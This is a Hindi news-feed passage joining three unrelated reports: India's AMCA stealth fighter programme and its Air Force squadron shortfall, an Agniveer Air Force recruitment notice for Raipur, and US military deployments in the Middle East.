चीन ने अपने पांचवीं पीढ़ी के चेंगदू J-20 जेट को भारत के सामने वाले हॉटन और शिगात्से जैसे एयरफील्ड में तैनात कर दिया है। इसके अलावा, हिंदुस्तान एरोनॉटिक्स लिमिटेड (HAL) द्वारा चौथी पीढ़ी के तेजस जेट के उत्पादन में भी काफी देरी हो रही है। एक सूत्र ने हमारे सहयोगी अखबार टीओआई को बताया कि कमेटी का लक्ष्य, 'AMCA को जल्द से जल्द डिजाइन से लेकर उड़ान भरने की स्थिति तक लाना। इसके लिए समय-सीमा कम करनी होगी और कार्यकुशलता बढ़ानी होगी। साथ ही, एक बेहतर उत्पादन और व्यावसायिक मॉडल बनाना होगा जिसमें निजी क्षेत्र की भागीदारी ज्यादा हो।' यानी, AMCA के निर्माण में प्राइवेट कंपनियों को भी शामिल किया जाएगा। यह एक बड़ा बदलाव होगा।

इस लड़ाकू विमानों में होंगी ये खूबियां

कमिटी 110 किलो न्यूटन थ्रस्ट वाले इंजन के निर्माण पर भी प्लान कर रही है। इस इंजन से 25 टन वजनी AMCA को शक्ति मिलेगी। इसके लिए विदेशी तकनीक की मदद ली जाएगी। इस दौड़ में अमेरिका की जनरल इलेक्ट्रिक, फ्रांस की सफरान और ब्रिटेन की रोल्स-रॉयस जैसी बड़ी कंपनियां शामिल हैं। यानी, AMCA का इंजन दुनिया के सबसे बेहतरीन इंजनों में से एक होगा।

भारतीय वायुसेना की और बढ़ेगी पावर

एक और रक्षा सचिव की अध्यक्षता वाली कमेटी ने वायुसेना की क्षमता बढ़ाने के लिए एक विस्तृत रोडमैप तैयार किया था। इस रिपोर्ट को 3 मार्च को रक्षा मंत्री राजनाथ सिंह को सौंपा गया था। इसका मतलब है कि सरकार वायुसेना को मजबूत बनाने के लिए गंभीर है। पिछले साल मार्च में प्रधानमंत्री की अध्यक्षता वाली सुरक्षा मामलों की कैबिनेट कमेटी ने AMCA के पांच प्रोटोटाइप के निर्माण को मंजूरी दी थी। इसकी शुरुआती लागत 15,000 करोड़ रुपये से ज्यादा है।

स्टेल्थ एयरक्राफ्ट में होंगी ये खास फीचर

AMCA में आंतरिक हथियार रखने की जगह और विशेष आकार के एयर इनटेक जैसे स्टेल्थ फीचर होंगे। लेकिन, मौजूदा समय-सीमा के अनुसार, AMCA का उत्पादन 2035 से पहले शुरू नहीं होगा। यह एक बड़ी चुनौती है। वायुसेना के पास अभी सिर्फ 30 फाइटर स्क्वाड्रन हैं, जबकि 42.5 स्क्वाड्रन होने चाहिए। अगले 10 सालों में कम से कम आठ और स्क्वाड्रन रिटायर हो जाएंगे। यह चिंता का विषय है।

126 फाइटर जेट बनाएगा भारत

वायुसेना 126 AMCA जेट शामिल करने की योजना बना रही है, जो सात स्क्वाड्रन बनाएंगे। AMCA में AI-पावर्ड इलेक्ट्रॉनिक पायलट सिस्टम, नेटसेंट्रिक वारफेयर सिस्टम और इंटीग्रेटेड व्हीकल हेल्थ मैनेजमेंट जैसे आधुनिक फीचर होंगे। पहले दो स्क्वाड्रन में 98 किलो न्यूटन थ्रस्ट वाले GE-F414 इंजन होंगे, जबकि बाकी पांच स्क्वाड्रन में 110 किलो न्यूटन थ्रस्ट वाले इंजन होंगे।

इस बीच, घटती संख्या को पूरा करने के लिए 180 तेजस मार्क-1A (लगभग 1.2 लाख करोड़ रुपये में) और 108 तेजस मार्क-2 जेट शामिल किए जाएंगे। साथ ही, 114 4.5-पीढ़ी के मल्टी-रोल फाइटर एयरक्राफ्ट (MRFA) के निर्माण का लंबे समय से लंबित प्रोजेक्ट भी है, जिसमें विदेशी सहयोग लिया जाएगा।

 

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छत्तीसगढ़-रायपुर में वायुसेना अग्निवीर की होगी भर्ती, 27 जनवरी तक करें ऑनलाइन आवेदन https://pratyushaashakinayikiran.com/?p=120844 Mon, 13 Jan 2025 13:55:00 +0000 https://pratyushaashakinayikiran.com/?p=120844 रायपुर।

वायु सेना में नौकरी करने के लिए युवाओं के लिए अवसर है। वायु सेना अग्निवीर भर्ती के लिए ऑनलाइन आवेदन की प्रक्रिया शुरू हो चुका है। भारतीय वायु सेना में अग्निवीर भर्ती के लिए अविवाहित युवक और युवतियों से ऑनलाइन आवेदन कर सकते हैं।

इस संबंध में विस्तृत जानकारी के लिए वेबसाइट https://agnipathvayu.cdac.in पर अवलोकन कर सकते हैं। अग्निवीर वायु भर्ती के लिए ऑनलाइन आवेदन की अंतिम 27 जनवरी 2025 तक निर्धारित है। आवेदन करने के लिए अभ्यर्थी का जन्म 01 जनवरी 2005 से 01 जुलाई 2008 के बीच हुआ हो। साथ ही 12वीं कक्षा न्यूनतम 50 अंको और अंग्रेजी विषय में 50 अंक के साथ उत्तीर्ण हो वे आवेदन कर सकते हैं।

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मिडिल ईस्ट में इजरायल की सपोर्ट के लिए अमेरिका की तीनों सेनाएं मौजूद, हर पल युद्ध के लिए तैयार https://pratyushaashakinayikiran.com/?p=72982 Sat, 21 Sep 2024 09:06:00 +0000 https://pratyushaashakinayikiran.com/?p=72982 वॉशिंगटन
 अमेरिका ने लगभग एक साल से मिडिल ईस्ट में अपनी सैन्य उपस्थिति बढ़ाई हुई है। लगभग 40 हजार सैनिक, कम से कम एक दर्जन युद्धपोत, चार वायुसेना लड़ाकू जेट स्क्वाड्रन अमेरिका ने तैनात किए हुए हैं। ऐसा इसलिए ताकि अमेरिका अपने सहयोगियों के खिलाफ होने वाले हमलों को रोक सके। इजरायल और हिजबुल्लाह के बीच तनाव ने फिर चिंताएं बढ़ा दी हैं। इस कारण संघर्ष एक पूर्ण युद्ध में बदल सकता है। इजरायल का हमास के खिलाफ हमला भी लगभग एक साल से चल रहा है। हिजबुल्लाह ने पेजर हमले के बाद कहा है कि इजरायल ने सारी हदें पार कर दी हैं।

पहले से ही मिडिल ईस्ट में बड़ी संख्या में अमेरिकी सेना है। नवीनतम हमलों ने सेना में वृद्धि या बदलाव का संकेत नहीं दिया है। आम तौर पर लगभग 34000 अमेरिकी सेनाएं यूएस सेंट्रल कमांड में तैनात की जाती हैं, जो पूरे मिडिल ईस्ट को कवर करता है। इजरायल-हमास युद्ध के शुरुआती महीनों में अतिरिक्त जहाजों और विमानों को भेजे जाने के कारण सैनिकों की संख्या लगभग 40000 पहुंच गई। कुछ सप्ताह पहले यह संख्या 50 हजार तक भी चली गई थी।

अमेरिका की कितनी नेवी तैनात

मिडिल ईस्ट में अमेरिका की नेवी भी तैनात है। अमेरिका ने विमानवाहक पोत की तैनाती बढ़ाई है। अमेरिकी रक्षा मंत्री लॉयड ऑस्टिन पिछले वर्ष में कई बार एयर क्राफ्ट कैरियर की तैनाती बढ़ा चुके हैं। कई मौकों पर तो इजरायल की सुरक्षा के लिए एक साथ दो एयरक्राफ्ट कैरियर देखे गए जो बेहद दुर्लभ होता है। कई बार अमेरिका सैन्य कमांडर कहते रहे हैं कि लड़ाकू जेट की निगरानी विमानों और मिसाइलों की सीरीज ईरान को रोकने के लिए पर्याप्त है। अमेरिकी एयरक्राफ्ट कैरियर यूएसएस अब्राहम लिंकन और उसके तीन विध्वंसक ओमान की खाड़ी में मौजूद हैं। जबकि अमेरिकी सेना के दो जहाज लाल सागर में हैं। एक पनडुब्बी भी क्षेत्र में हैं। पूर्वी भूमध्य सागर में छह अमेरिकी युद्धपोत हैं।

एयरफोर्स भी तैनात

अमेरिकी एयरफोर्स ने पिछले महीने यहां एफ-22 लड़ाकू विमानों का एक अतिरिक्त स्क्वाड्रन भेजा, जिससे मिडिल ईस्ट में भूमि आधारित स्क्वाड्रनों की कुल संख्या चार हो गई। इसी में A-10 थंडरबोल्ट II ग्राउंड अटैक एयरक्राफ्ट, F-15E स्ट्राइक ईगल्स और F-16 लड़ाकू जेट का एक स्क्वाड्रन भी है। वायुसेना ने यह नहीं बताया कि आखिर विमान किन देशों में हैं। एफ-22 लड़ाकू जेट का शामिल होना अमेरिकी सेना को बड़ी ताकत देता है, क्योंकि इसे रडार पर देखना मुश्किल होता है।

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